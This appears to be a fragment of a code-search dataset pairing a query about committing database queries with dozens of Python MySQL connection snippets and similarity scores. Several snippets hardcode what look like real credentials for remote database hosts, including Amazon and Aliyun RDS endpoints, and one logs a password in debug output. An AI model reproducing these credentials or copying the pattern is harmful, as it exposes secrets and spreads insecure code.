connect_db():\\n conn = MySQLdb.connect(host=\\\"127.0.0.1\\\",\\n user=\\\"root\\\",\\n passwd=\\\"123\\\",\\n db=\\\"graduation\\\",\\n charset=\\\"utf8\\\",\\n cursorclass=DictCursor)\\n return conn\",\n \"def connect():\\r\\n try:\\r\\n db = MySQLdb.connect(HOST_NAME, USER_NAME, PASSWORD, DATABASE_NAME)\\r\\n return db\\r\\n except:\\r\\n raise RuntimeError(\\\"An Exception happened with the Database, make sure you are connected\\\")\",\n \"def connect():\\n try:\\n conn = mysql.connector.connect(host=\\\"43.229.84.119\\\",\\n database=\\\"ballerle_CS\\\",\\n user=\\\"ballerle_csusr\\\",\\n password=\\\"%;@TSMHHP9v]\\\")\\n\\n if conn.is_connected():\\n print(\\\"Connected to MySQL Database\\\")\\n\\n return conn\\n\\n\\n except Error as e:\\n print(e)\",\n \"def __init__(self, host, user, password, db):\\n self.connection = pymysql.connect(\\n host=host, user=user, password=password, db=db,\\n cursorclass=pymysql.cursors.DictCursor)\",\n \"def __init__(self, host: str, port: int, user: str, password: str, database: str, charset='utf8mb4'):\\n self.connection = pymysql.connect(host=host,\\n port=int(port),\\n user=user,\\n password=password,\\n database=database,\\n charset=charset,\\n cursorclass=pymysql.cursors.DictCursor)\",\n \"def db_connect(db):\\n logger.debug(\\\"Connecting to %s on %s\\\", db['name'], db['host'])\\n try:\\n conn = MySQLdb.connect(host=db['host'], user=db['user'],\\n passwd=db['password'], db=db['name'])\\n except MySQLdb.Error as err:\\n sql_error(err)\\n try:\\n cursor = conn.cursor()\\n return(conn, cursor)\\n except MySQLdb.Error as err:\\n sql_error(err)\",\n \"def db_connect(db):\\n logger.debug(\\\"Connecting to %s on %s\\\", db['name'], db['host'])\\n try:\\n conn = MySQLdb.connect(host=db['host'], user=db['user'],\\n passwd=db['password'], db=db['name'])\\n except MySQLdb.Error as err:\\n sql_error(err)\\n try:\\n cursor = conn.cursor()\\n return(conn, cursor)\\n except MySQLdb.Error as err:\\n sql_error(err)\",\n \"def get_connection(db, user=env.user, host=env.host, password=env.password):\\n return f'mysql+pymysql://{user}:{password}@{host}/{db}'\",\n \"def connectDB(cb):\\n global dbpool\\n dbpool = adbapi.ConnectionPool('MySQLdb',\\n host=host,\\n db=db,\\n user=user,\\n passwd = passwd,\\n cursorclass = MySQLdb.cursors.DictCursor,\\n cp_reconnect=True,\\n cp_openfun=cb,\\n cp_noisy=True)\",\n \"def set_connection(password):\\r\\n\\r\\n SQL_connection = mysql.connector.connect(\\r\\n host=\\\"hannl-hlo-bioinformatica-mysqlsrv.mysql.database.azure.com\\\",\\r\\n user=\\\"ossux@hannl-hlo-bioinformatica-mysqlsrv\\\",\\r\\n db=\\\"Ossux\\\",\\r\\n password=password)\\r\\n\\r\\n return SQL_connection\",\n \"def connect_to_db(self):\\n self.read_config()\\n print('Connecting to database...', end=\\\"\\\")\\n self.db_conn = pymysql.connect(host=self.host, user=self.user, db=self.db)\\n self.db_cur = self.db_conn.cursor()\\n print('[DONE]')\",\n \"def connect_to_database(self, db):\\n try:\\n engine = sqlalchemy.create_engine(\\n 'mysql://{0}:{1}@{2}:{3}/{4}?charset=utf8'.format(self.user, self.pwd, self.host,\\n str(self.port), db), echo=False)\\n except:\\n try:\\n engine = sqlalchemy.create_engine(\\n 'mysql+mysqldb://{0}:{1}@{2}:{3}/{4}?charset=utf8'.format(self.user, self.pwd, self.host,\\n str(self.port), db), echo=False)\\n except:\\n engine = sqlalchemy.create_engine(\\n 'mysql+mysqlconnector://{0}:{1}@{2}:{3}/{4}?charset=utf8'.format(self.user, self.pwd, self.host,\\n str(self.port), db), echo=False)\\n return engine\",\n \"def connect():\\n conn_obj = mysql.connector.connect(host='localhost',database='mydb',user='root',password='kks')\\n cur_obj = conn_obj.cursor()\\n cur_obj.execute('''CREATE TABLE IF NOT EXISTS book\\n ( \\n title text,\\n author text,\\n year integer,\\n isbn integer,\\n shelf integer,\\n raw integer)''')\\n conn_obj.commit()\\n conn_obj.close()\",\n \"def connect_db():\\n return MySQLdb.connect(app.config['DATABASE'])\",\n \"def connectdb(self, dbhost, db):\\n self.db = MySQLdb.connect(host=dbhost, db=db)\\n self.cursor = self.db.cursor()\",\n \"def open_connection(self):\\n self.conn = pymysql.connect(host=self.host, user=self.user, passwd=self.passwd, db=self.db)\",\n \"def connectToDatabase():\\n conn = pymysql.connect(host=config('MARIA_HOST'),\\n user=config('MARIA_USER'),\\n password=config('MARIA_PASSWD'),\\n db=config('MARIA_DB_NAME'),\\n charset='utf8mb4',\\n cursorclass=pymysql.cursors.DictCursor)\\n return conn\",\n \"def connect():\\n try:\\n engine = create_engine(\\n 'mysql+mysqlconnector://root:sbsw@127.0.0.1:1024/sbsw')\\n #port = 3306\\n connection = engine.connect()\\n Session.configure(bind=engine)\\n return engine\\n # https://campus.datacamp.com/courses/introduction-to-relational-databases-in-python/advanced-sqlalchemy-queries?ex=2#skiponboarding\\n\\n except Exception as e:\\n print(\\\"An error occurred when connecting to the database: \\\", e)\\n # https://dev.mysql.com/doc/connector-python/en/connector-python-api-errors-error.html\\n # https://campus.datacamp.com/courses/introduction-to-relational-databases-in-python/advanced-sqlalchemy-queries?ex=2#skiponboarding\",\n \"def connect(self):\\n\\n try:\\n from MySQLdb import _mysql\\n except ModuleNotFoundError:\\n raise LibraryNotInstalledError(\\n 'mysqlclient not installed. Please run `pip3 install mysqlclient` '\\n 'and make sure that MySQL Client is installed on the machine'\\n )\\n\\n logger.debug(\\n f\\\"Trying to connect: host={self.options['host']} port={self.options['port']}\\\"\\n f\\\" dbname={self.options['dbname']}, user={self.options['user']} \\\"\\n f\\\"password={self.options['password']}.\\\"\\n )\\n self.con = _mysql.connect(\\n host=self.options['host'],\\n port=self.options['port'],\\n user=self.options['user'],\\n passwd=self.options['password'],\\n db=self.options['dbname']\\n )\",\n \"def get_connection(self):\\n self._logger.info(ME + '.get_connection()')\\n #self._logger.debug(str(CONNECTION_VALUES))\\n tmp_connection = mysql.connector.connect(\\n user =CONNECTION_VALUES['user'],\\n password=CONNECTION_VALUES['passwd'],\\n database=CONNECTION_VALUES['schema'],\\n host =CONNECTION_VALUES['host'],\\n port =CONNECTION_VALUES['port']\\n )\\n tmp_cursor = tmp_connection.cursor()\\n\\n return tmp_connection, tmp_cursor\",\n \"def connect():\\n \\n db_config = read_db_config()\\n \\n try:\\n print('Connecting to MySQL database...')\\n conn = MySQLConnection(**db_config)\\n \\n if conn.is_connected():\\n print('connection established.')\\n else:\\n print('connection failed.')\\n \\n except Error as error:\\n print(error)\\n \\n finally:\\n conn.close()\\n print('Connection closed.')\",\n \"def openDb() -> Union[Union[CMySQLConnection, MySQLConnection], Any]:\\n connectService: Union[Union[CMySQLConnection, MySQLConnection], Any] = mysql.connector.connect(\\n host=\\\"\\\",\\n user=\\\"\\\",\\n passwd=\\\"\\\",\\n database=\\\"ServiceDirectoryOpenActiveAggregated\\\")\\n return connectService\",\n \"def connect_db():\\n db = MySQLdb.connect(host=\\\"localhost\\\",user='root',\\n passwd=config.DB_PASSWD,db=\\\"MusicDB\\\")\\n cursor = db.cursor()\\n return db, cursor\",\n \"def connect():\\n db_config = read_db_config()\\n\\n try:\\n\\n conn = pymysql.connect(**db_config, cursorclass=pymysql.cursors.DictCursor)\\n\\n if conn.open:\\n print('Connected to MySQL database')\\n else:\\n print('connection failed.')\\n\\n with conn.cursor() as cursor:\\n # Create a new record\\n sql = \\\"INSERT INTO `users` (`email`, `password`) VALUES (%s, %s)\\\"\\n cursor.execute(sql, ('webmaster@python.org', 'very-secret'))\\n\\n # connection is not autocommit by default. So you must commit to save\\n # your changes.\\n conn.commit()\\n\\n with conn.cursor() as cursor:\\n # Read a single record\\n sql = \\\"SELECT `id`, `password` FROM `users` WHERE `email`=%s\\\"\\n cursor.execute(sql, ('webmaster@python.org',))\\n result = cursor.fetchone()\\n\\n while result is not None:\\n print(result)\\n result = cursor.fetchone()\\n\\n finally:\\n conn.close()\",\n \"def get_db() -> mysql.connector.connection.MySQLConnection:\\n username = getenv('PERSONAL_DATA_DB_USERNAME')\\n password = getenv('PERSONAL_DATA_DB_PASSWORD')\\n host = getenv('PERSONAL_DATA_DB_HOST')\\n db = getenv('PERSONAL_DATA_DB_NAME')\\n\\n conect = mysql.connector.connection.MySQLConnection(\\n host=host,\\n user=username,\\n password=password,\\n database=db\\n )\\n return conect\",\n \"def __open(self):\\n\\n try:\\n cnx = mysql.connector.connect(\\n host=self.__host,\\n user=self.__user,\\n password=self.__password,\\n database=self.__database\\n )\\n self.__connection = cnx\\n self.__cursor = cnx.cursor(buffered=True, dictionary=True)\\n\\n except mysql.connector.Error as err:\\n print(\\\"Something went wrong: {}\\\".format(err))\",\n \"def open_db_connection():\\n database = MySQLdb.connect( host = HOST, db = DATABASE,\\n user = DBUSER, passwd = DBPASSWD,\\n cursorclass = DictCursor )\\n database.cursor().execute( 'SET AUTOCOMMIT = 1' )\\n database.cursor().execute( \\\"SET NAMES 'utf8'\\\" )\\n return database\",\n \"def __init__(self,db_user,db_pwd,db_host,db_port,db_name):\\n self.std_error = \\\"Could not connect to database. Check that it is running correctly.\\\"\\n self.engine = db.create_engine(f'mysql+pymysql://{db_user}:{db_pwd}@{db_host}:{db_port}/{db_name}')\",\n \"def establishConnection():\\r\\n global USER\\r\\n global PW\\r\\n global HOST\\r\\n global DB\\r\\n try:\\r\\n cnx = mysql.connector.connect(user=USER, password=PW, host=HOST, database=DB)\\r\\n cursor = cnx.cursor()\\r\\n return cnx, cursor\\r\\n except mysql.connector.Error as err:\\r\\n if err.errno == mysql.connector.errorcode.ER_ACCESS_DENIED_ERROR:\\r\\n print(\\\"Something is wrong with your user name or password\\\")\\r\\n elif err.errno == mysql.connector.errorcode.ER_BAD_DB_ERROR:\\r\\n print(\\\"Database does not exist\\\")\\r\\n else:\\r\\n print(\\\"Could not establish connection\\\")\\r\\n print(err)\\r\\n sys.exit(1)\\r\\n except:\\r\\n print(\\\"Could not establish connection\\\")\\r\\n sys.exit(1)\",\n \"def __connect(self):\\n self.conn = pymysql.connect(self.opts.DB_HOST, self.opts.DB_USER,\\n self.opts.DB_PASSWORD, self.opts.DB_NAME)\",\n \"def __init__(self, hostname, username, password, database_name):\\n self.hostname = hostname\\n self.username = username\\n self.password = password\\n self.database_name = database_name\\n \\n self.db = MySQLdb.connect(host=self.hostname, user=self.username, passwd=self.password, db=self.database_name)\",\n \"def Engine_Connection(self):\\n try:\\n # Engine Connection\\n engine = create_engine('mysql+mysqlconnector://{}:{}@{}/{}'.format(self.user,self.password,self.host,self.database))\\n return['Engine created', engine]\\n except engine.closed():\\n return print(\\\"Failed to create engine\\\")\",\n \"def obtainDatabaseConnection(self):\\n\\t\\tself.databaseConnector = DatabaseConnector()\",\n \"def connect(self):\\n try:\\n self.conn = MySQLdb.connect(db=self.conf['db'], host=self.conf['host'],\\n port=self.conf['port'], user=self.conf['user'],\\n passwd=self.conf['passwd'],\\n charset=self.conf['charset'])\\n self.cur = self.conn.cursor()\\n self.conn.autocommit(self.conf[\\\"autocommit\\\"])\\n # print \\\"connected to \\\", self.conf['host'], self.conf['db']\\n except:\\n print (\\\"MySQL connection failed\\\")\\n raise\",\n \"def __init__(self) -> None:\\n settings = get_project_settings()\\n self.db = pymysql.connect(\\n host=settings['MYSQL_SERVER'],\\n port=settings['MYSQL_PORT'],\\n user=settings['MYSQL_USERNAME'],\\n password=settings['MYSQL_PASSWORD'],\\n db=settings['MYSQL_DB']\\n ) \\n self.cursor = self.db.cursor()\",\n \"def __init__(self):\\n\\t\\tConnectorMySQL.__init__(self)\",\n \"def __init__(self):\\r\\n self.connection = MySQLdb.connect(host=\\\"db4free.net\\\", db=\\\"academicsys\\\", user=\\\"desenvolvedores\\\", passwd=\\\"acesso\\\")\\r\\n self.cursor = self.connection.cursor()\",\n \"def connect(self, database=None):\\n try:\\n if database: # if is not Null\\n self._database = database\\n connection = pymysql.connect(self._host, self._username, self._password, self._database)\\n return connection\\n except pymysql.InternalError as error:\\n print(error.args[1])\",\n \"def create_connection():\\r\\n try:\\r\\n conn = sq.connect(DBClass.db_name)\\r\\n except sq.Error as e:\\r\\n raise e\\r\\n \\r\\n return conn\",\n \"def db_connect(dba):\\n LOGGER.debug(\\\"Connecting to %s on %s\\\", dba['name'], dba['host'])\\n try:\\n conn = MySQLdb.connect(host=dba['host'], user=dba['user'],\\n passwd=dba['password'], db=dba['name'])\\n except Exception as err:\\n sql_error(err)\\n try:\\n cur = conn.cursor()\\n return conn, cur\\n except Exception as err:\\n sql_error(err)\",\n \"def _get_mysql_engine():\\n\\n return sa.create_engine(\\n sa.engine.url.URL(\\n drivername=\\\"mysql+pymysql\\\",\\n username=\\\"username\\\", # Change that!!\\n password=\\\"password\\\", # Change that!!\\n host=\\\"host\\\", # Change that!!\\n port=c.PORT,\\n database=c.DATABASE,\\n ),\\n encoding=\\\"utf-8\\\", # Since there will be some japanse chars\\n )\",\n \"def Database_Connection(self):\\n # Database connection\\n try: \\n # Connect to DB- mysql.connector\\n connection = mysql.connector.connect(\\n user=self.user,\\n password=self.password,\\n host=self.host,\\n database=self.database\\n )\\n # Create cursor\\n cursor = connection.cursor(prepared=True)\\n except mysql.connector.Error as error:\\n return print(\\\"Failed to execute stored procedure: {}\\\".format(error))\\n \\n finally:\\n if (connection.is_connected()):\\n cursor.close()\\n return [\\\"Connection Established\\\", connection]\",\n \"def __init__(self, mysql_url):\\n\\n # Store the url for future reference\\n self.mysql_url = mysql_url\\n # Report connection error only once\\n self.report_connection_error = True\\n\\n # Parse MySQL URL and try to initialize a connection\\n conn_kwargs = MySqlPipeLine.parse_mysql_url(mysql_url)\\n self.dbpool = adbapi.ConnectionPool('MySQLdb',\\n charset='utf8',\\n use_unicode=True,\\n connect_timeout=5,\\n **conn_kwargs)\",\n \"def reconnect():\\n\\tcnx = mysql.connector.connect(pool_name= \\\"mypool\\\", pool_size=6, user=MYSQL_USER, password=MYSQL_PW, host=MYSQL_HOST, database='test',charset='utf8mb4', collation='utf8mb4_general_ci', get_warnings=True, connection_timeout=3600)\\n\\treturn (cnx.cursor(), cnx)\",\n \"def get_canary_mysql_conn(self):\\n from airflow.hooks.dbapi_hook import DbApiHook\\n conn = DbApiHook.get_connection(self.canary_conn_id)\\n canary_username = conn.login\\n canary_password = conn.password\\n canary_database = conn.schema\\n canary_hostname = conn.host\\n\\n # logging.info(\\\"canary_username={0}, canary_database={1}, canary_hostname={2}\\\"\\n # .format(canary_username, canary_database, canary_hostname))\\n return {'canary_hostname': canary_hostname,\\n 'canary_database': canary_database,\\n 'canary_jdbc_conn_props':\\n {'user': canary_username,\\n 'password': canary_password\\n }\\n }\",\n \"def db_connect():\\n\\n rds_host = os.environ['RDS_HOST']\\n name = os.environ['DB_USERNAME']\\n password = os.environ['DB_PASS']\\n db_name = os.environ['DB_NAME']\\n\\n # try to connect to mysql db\\n try:\\n conn = pymysql.connect(rds_host, user=name, passwd=password, db=db_name, cursorclass=pymysql.cursors.DictCursor)\\n except pymysql.MySQLError as e:\\n conn = None\\n print(e)\\n\\n return conn\",\n \"def open (self,HOST='localhost',USER ='grafanauser',PASSWORD='Mars2020',DATABASE='scpdata',AUTH_PLUGIN='mysql_native_password'):\\n self._port = mysql.connector.connect(user=USER, password=PASSWORD, host=HOST, database=DATABASE, auth_plugin=AUTH_PLUGIN)\\n if not self._port.is_connected():\\n print(\\\"Unable to connect to \\\" + str(HOST))\\n\\n return self._port.is_connected()\",\n \"def db_connection(self):\\n try:\\n self.connection = connect(host=self.host, user=self.user, password = self.password, db = self.db, cursorclass = self.cursor)\\n except MySQLError:\\n print(\\\"DB Error\\\")\",\n \"def connect(self,schema_name = ''):\\n\\t\\tif schema_name == '':\\n\\t\\t\\tif self.__schema_name=='':\\n\\t\\t\\t\\tprint('Specify name of the schema/db first')\\n\\t\\t\\t\\treturn\\n\\t\\t\\telse:\\n\\t\\t\\t\\tprint('Use the previous schema_name %s'%self.__schema_name)\\n\\t\\telse:\\n\\t\\t\\tif self.__schema_name == schema_name:\\n\\t\\t\\t\\t\\tprint('Seem to be the same engine')\\n\\t\\t\\tself.__schema_name = schema_name\\n\\t\\t\\t\\n\\t\\tif self.connected:\\n\\t\\t\\tself.close()\\n\\t\\ttry:\\n#\\t\\t\\t self.__db = pymysql.connect(host = \\\"rm-j6cluj4576jdi6n6oo.mysql.rds.aliyuncs.com\\\",\\\\\\n#\\t\\t\\t\\t\\t\\t\\t\\t database = schema_name, user='cognitiveleap', password= 'QWE@123456')\\n\\t\\t\\t#self.__cursor = self.__db.cursor()\\n\\t\\t\\tself.__engine = create_engine(\\\"mysql+pymysql://cognitiveleap:QWE@123456@rm-j6cluj4576jdi6n6oo.mysql.rds.aliyuncs.com/%s\\\"%self.__schema_name)\\n\\t\\texcept Exception as e:\\n\\t\\t\\traise Exception (3)\\n\\t\\tself.connected = True\",\n \"def __get_connection():\\n # 根据配置文件创建连接池\\n if not Mysql.__mysql_pool:\\n Mysql.__mysql_pool = PooledDB(\\n creator=MySQLdb,\\n use_unicode=False,\\n cursorclass=DictCursor,\\n db=sqlconf.MysqlConfig['db'],\\n host=sqlconf.MysqlConfig['host'],\\n port=sqlconf.MysqlConfig['port'],\\n user=sqlconf.MysqlConfig['user'],\\n passwd=sqlconf.MysqlConfig['passwd'],\\n charset=sqlconf.MysqlConfig['charset'],\\n mincached=sqlconf.MysqlConfig['mincached'],\\n maxcached=sqlconf.MysqlConfig['maxcached'],\\n maxconnections=sqlconf.MysqlConfig['maxconnections'])\\n # 返回连接池中连接对象\\n return Mysql.__mysql_pool.connection()\",\n \"def connect():\\n \\n try:\\n\\n engine = create_engine('mysql+mysqlconnector://dublinbikesadmin:dublinbikes2018@dublinbikes.cglcinwmtg3w.eu-west-1.rds.amazonaws.com/dublinbikes')\\n port=3306\\n connection = engine.connect()\\n Session.configure(bind=engine)\\n return engine\\n #https://campus.datacamp.com/courses/introduction-to-relational-databases-in-python/advanced-sqlalchemy-queries?ex=2#skiponboarding\\n\\n except Exception as err:\\n print (\\\"An error occurred when connecting to the database: \\\", err)\\n #https://dev.mysql.com/doc/connector-python/en/connector-python-api-errors-error.html\",\n \"def __init__(self):\\n user = os.getenv('URL_MYSQL_USER')\\n passwd = os.getenv('URL_MYSQL_PWD')\\n host = os.getenv('URL_MYSQL_HOST')\\n database = os.getenv('URL_MYSQL_DB')\\n self.__engine = create_engine('mysql+mysqldb://{}:{}@{}/{}'\\n .format(user, passwd, host, database))\",\n \"def getDB(self):\\r\\n return MySQLdb.connect(user=\\\"root\\\", passwd=\\\"asdf\\\", db=\\\"cloudchatdb\\\", connect_timeout=30, charset=\\\"utf8\\\")\",\n \"def connectToDatabase():\\n\\n #Connect to Database With Environment Values\\n conn = pymysql.connect(\\n host=os.environ.get(\\\"CHRONICLER_DATABASE_HOST\\\"),\\n user=os.environ.get(\\\"CHRONICLER_DATABASE_USER\\\"),\\n passwd=os.environ.get(\\\"CHRONICLER_DATABASE_PASSWORD\\\"),\\n db=os.environ.get(\\\"CHRONICLER_DATABASE_DB\\\"),\\n\\t\\t\\t\\tcharset=\\\"utf8mb4\\\")\\n\\n #Return the Connection\\n return conn\",\n \"def sqlLogin ( loginInfo ) :\\n assert len ( loginInfo ) == 4\\n c = _mysql.connect(\\n host = loginInfo [ 0 ],\\n user = loginInfo [ 1 ],\\n passwd = loginInfo [ 2 ],\\n db = loginInfo [ 3 ] )\\n assert str(type(c)) == \\\"<type '_mysql.connection'>\\\"\\n return c\",\n \"def db_connect():\\n DB_SETTINGS = app.config['DB_SETTINGS']\\n engine = create_engine(URL(**DB_SETTINGS))\\n connection = engine.connect()\\n return connection\"\n]","isConversational":false},"negative_scores":{"kind":"list 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\"0.7507807\",\n \"0.7188535\",\n \"0.7169623\",\n \"0.7144462\",\n \"0.71245915\",\n \"0.70902425\",\n \"0.7044684\",\n \"0.70395124\",\n \"0.6949333\",\n \"0.6933126\",\n \"0.68984056\",\n \"0.6884161\",\n \"0.68438727\",\n \"0.68037325\",\n \"0.67965716\",\n \"0.6786419\",\n \"0.67676234\",\n \"0.6756724\",\n \"0.67451376\",\n \"0.6741216\",\n \"0.6731391\",\n \"0.67285717\",\n \"0.6701512\",\n \"0.6687655\",\n \"0.66867733\",\n \"0.66838974\",\n \"0.66768074\",\n \"0.66593206\",\n \"0.6655628\",\n \"0.66518104\",\n \"0.6639522\",\n \"0.6638307\",\n \"0.6630646\",\n \"0.662422\",\n \"0.6621144\",\n \"0.661914\",\n \"0.6601166\",\n \"0.65986514\",\n \"0.65977407\",\n \"0.65515256\",\n \"0.65430105\",\n \"0.6535669\",\n \"0.6532365\",\n \"0.65301317\",\n \"0.65188515\",\n \"0.6507553\",\n \"0.6498702\",\n \"0.6486349\",\n \"0.6473856\",\n \"0.6457308\",\n \"0.6457308\",\n \"0.6456353\",\n \"0.6454164\",\n \"0.6452865\",\n \"0.6440563\",\n \"0.6435193\",\n \"0.64239126\",\n \"0.64230597\",\n \"0.6419951\",\n \"0.64150465\",\n \"0.6414344\",\n \"0.6413821\",\n \"0.6406363\",\n \"0.6386612\",\n \"0.6378725\",\n \"0.6370476\",\n \"0.6366802\",\n \"0.63659537\",\n \"0.6365249\",\n \"0.635201\",\n \"0.634534\",\n \"0.63413537\",\n \"0.6291097\",\n \"0.62864965\",\n \"0.6282544\",\n \"0.6273803\",\n \"0.6271431\",\n \"0.627\",\n \"0.6269187\",\n \"0.6252195\",\n \"0.62462753\",\n \"0.62387305\",\n \"0.6232723\",\n \"0.6224872\",\n \"0.6217822\",\n \"0.6208018\",\n \"0.61731243\",\n \"0.61562407\",\n \"0.6155631\",\n \"0.6151763\",\n \"0.61504847\",\n \"0.6136409\",\n \"0.6136262\",\n \"0.6131485\",\n \"0.6122412\",\n \"0.6104381\",\n \"0.60994464\",\n \"0.6096621\",\n \"0.60916346\",\n \"0.60871375\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.684107"},"document_rank":{"kind":"string","value":"13"}}},{"rowIdx":15378,"cells":{"query":{"kind":"string","value":"Commit queries of a connect instance."},"document":{"kind":"string","value":"def commit_query(conn):\r\n conn.commit()"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def commitQuery(self):\r\n\t\tself.session.commit()","def commit(self):\n self.conn.commit()","def commit(self):\n self.__connection.commit()","def commit(self):\n self._connection.execute_nonquery(\"sql\", \"COMMIT\", True)","def commit(self) -> None:\n self._connector.commit_transaction()","def commit(self):\n self.connection.commit()","def commit( self ) :\n self.oracle_connection.commit()","def commit(self):\n self._check_connection()\n\n for s in self._buffer_insert:\n self._connection.execute(s)\n del self._buffer_insert[:]\n\n self._connection.commit()","def commit(self):\n if self.transaction:\n self.conn.commit()\n self.transaction = False","def commit_changes(self):\n self.connection.commit()","def commit(self):\n self.sql_session.commit()","def commit(self):\n self.getSession().commit()","def commit_and_close(self):\n self.connection.commit()\n self.cursor.close()\n self.connection.close()","def commit(self):\n self.lock.acquire()\n self.__Session.commit()\n self.lock.release()","def commit(cls, sql, **kwargs):\n conn = kwargs['conn']\n\n cursor = conn.cursor(dictionary=True, buffered=False)\n if CHECKS_OFF:\n sql = TURN_CHECKS_OFF + sql\n\n for _ in cursor.execute(sql, kwargs.get('args'), multi=True):\n pass\n\n cls.close(conn, cursor)","def _commit(self):\n if self.__session is not None:\n self.__session.commit()","def finish(self):\n self.conn.commit()\n self.conn.close()","def save_query(self):\r\n self.conn.commit()","def commit(self):","def commit(self):\n curs = self.cursor()\n self.clearTempTables(curs)\n super(_MockConnection, self).commit()","def Commit(self):\n sql_cnxn = self.GetMasterConnection()\n try:\n sql_cnxn.commit()\n except MySQLdb.DatabaseError:\n logging.exception('Commit failed for cnxn, rolling back')\n sql_cnxn.rollback()","def commit(self):\n self.session.commit()","def commit(self):\n self.execute_sql(sql.commit)\n self.under_transaction = False","def commit(self):\n return self.connection.commit","def commit(self):\n return self.conn.commit()","def commit(self):\n self.cnx.commit()","def commit(self):\n pass","def commit(self):\n pass","def commit(self):\n pass","def commit(self):\n pass","def commit(self):\n pass","def commit(self):\n conn = self.threadingLocal.connection\n if isinstance(conn, Transaction):\n self.threadingLocal.connection.commit()","def stamp(self):\n self.connection.commit()\n self.cursor.close()\n self.connection.close()","def commit(self):\n #main.signals['exit'].disconnect(self.commit)\n self._dirty = False\n with self._lock:\n self._db.commit()","def finish():\n global conn, curs\n conn.commit()\n conn.close()","def _do_commit(self):\n self.backend.commit()","def commit(self):\n raise NotImplementedError","def commit(self):\n self.DB.commit()","def transactionEnd(self):\n self.connection.commit()","def commitChanges(self):\n \n ## User is prompted that changes are being committed\n print(\"Committing changes to the CRM and Mailings database...\")\n db_connection.executeQuery(\"COMMIT;\")","def commit(self):\n try:\n self.connection.commit()\n except MySQLdb.Error as e:\n self.connection.rollback()\n try:\n print(\"MySQL Error {}: {}\".format(e.args[0], e.args[1]))\n except IndexError:\n print(\"MySQL Error: {}\".format(str(e)))","def commit(self) -> None:\n pass","def commit():\n get_db().commit()","def commit(self):\n return self.connection.commit()","def commit(self):\n return","def commit(self):\n self.db.commit()","def commit(self):\n try:\n db.session.commit()\n except:\n db.session.rollback()\n raise","def commit_transaction(self):\n cursor = self._cursor()\n cursor.close()\n self._db.commit()\n self._end_transaction()","def commit(self):\n datastore_pre_commit.send(session=self.db.session)\n super().commit()\n datastore_post_commit.send(session=self.db.session)","def commit_transaction(self) -> None:\n pass","def close(self):\n self.conn.commit()\n self.conn.close()\n lock.release(self.lock)","def dbcommit(self):\n self.con.commit()","def commit(self):\n self._session.commit()\n self._session.close()\n\n return True","def commit(self):\n self.success = True\n self.close()","def _do_commit(self):","def close(self):\n self.connection.commit()\n self.cursor.close()\n self.connected = False","def commit(self):\n try:\n self.session.commit()\n except:\n self.session.rollback()\n raise\n finally:\n self.session.remove()","def commit(self, transaction):\n raise NotImplementedError","def __exit__(self, exc_type, exc_value, exc_trace):\n try:\n self.conn.commit()\n self.cursor.close()\n self.conn.close()\n except Exception as error:\n print(f\"DBCM::__exit__::{error}\")","def commit_and_close_database(conn, cur):\n conn.commit()\n cur.close()\n conn.close()","def Save(self) -> None:\n self.__conn.commit()","def commit(self):\n self._cur_batch.commit()\n self._cur_batch = None\n self._num_mutations = 0","def close(commit=True):\n\tif commit:\n\t\tconnection.commit()\n\tconnection.close()","def __exit__(self, exc_type, exc_val, exc_tb) -> None:\n self.conn.commit()\n self.cursor.close()\n self.conn.close()","def __exit__(self, exc_type, exc_val, exc_tb) -> None:\n self.conn.commit()\n self.cursor.close()\n self.conn.close()","def __exit__(self, exc_type, exc_val, exc_tb) -> None:\n self.conn.commit()\n self.cursor.close()\n self.conn.close()","def commit(self, cursor):\n\t\twith warnings.catch_warnings():\n\t\t\twarnings.simplefilter(\"ignore\")\n\t\t\tconnection = cursor.connection\n\t\tconnection.commit()\n\t\tself._close_cursor(cursor)","def commit(self):\n for db in self.values():\n db.commit()","def manual_exit(self):\n self._dbconnect.commit()\n self._dbconnect.close()\n self._dbconnect = None\n self._cursor = None","def _close_connection(self, connection):\n connection.commit()\n connection.close()","def flush(self):\n self._uow.commit()","def __commit(self):\n from sqlalchemy.exc import IntegrityError\n\n try:\n db.session.commit()\n except IntegrityError:\n db.session.rollback()","def close_connection(self):\n self.dbcon.commit()\n self.dbcon.close()","def database_commit(connector):\n try:\n connector.commit()\n except Exception as e:\n raise Exception(\n \"An error occurred while committing the modifications in the database: %s\"\n % e\n )","def test_disconnect_with_commit(self):\n\n mock_connector = MagicMock()\n database = Database()\n database.connect(connector_impl=mock_connector)\n\n # commit\n database.disconnect(True)\n\n connection = mock_connector.connect()\n self.assertTrue(connection.commit.called)\n self.assertTrue(connection.close.called)","def close(self):\n if self._con is not None:\n self._commit()\n self._con.close()\n self._con = None","def close():\n conn.commit()\n return conn.close()","def close_connection():\n if DbUtil.connection:\n DbUtil.connection.commit()\n DbUtil.connection.close()","def commit(self):\r\n if self._closed:\r\n raise Error('The connection to the database has been closed.')\r\n for table in self.tables.keys():\r\n if self.tables[table].open:\r\n self.tables[table].commit()\r\n self.createdTables = []","def finish(con):\n\n con.commit() # Save changes in file\n con.close() # Close connection","def close(conn):\n #conn.commit()\n conn.close()","def _commit_now(self):\n self._database.commit()","def test_commit_and_close_on_success(self):\n\n mock_connector = MagicMock()\n\n with Database.connect(mysql_connector_impl=mock_connector) as database:\n connection = database.connection\n\n mock_connector.connect.assert_called_once()\n connection.commit.assert_called_once()\n connection.close.assert_called_once()","def close(self):\n assert not self.closed\n if self.success:\n run(self.connection, \"COMMIT\")\n else:\n run(self.connection, \"ROLLBACK\")\n self.closed = True\n self.on_close()","def commit(self):\n self.create()\n return self.refresh()","def save_and_exit():\n con.commit()\n con.close()\n quit()","def commit(self):\n db.session.add(self)\n db.session.commit()","def commit(self):\r\n # print(\"Connection to Mongo...\")\r\n client = MongoClient(DatabaseConfig.host, DatabaseConfig.port)\r\n # print(\"mongo-client: {}\".format(client))\r\n db = client[DatabaseConfig.database]\r\n records = db[self.collection]\r\n # print(kmodels)\r\n records.save(self.to_dict())\r\n client.close()","def save_db(self) -> None:\n self.connection.commit()","def _end_transaction(self):\n self._db.autocommit=True","def save(self, commit=True):\n \n \n try:\n\n db = getDatabase()\n connection = db.connect()\n\n connection.add(self)\n except Exception as e:\n raise e\n finally:\n db.dispose()","def reconnect(self):\n self.close()\n self._db = pymysql.connect(**self._db_args)\n self._db.autocommit(True)","async def commit(self):\n if not self._active:\n raise ProfileSessionInactiveError()\n await self._teardown(commit=True)\n self._active = 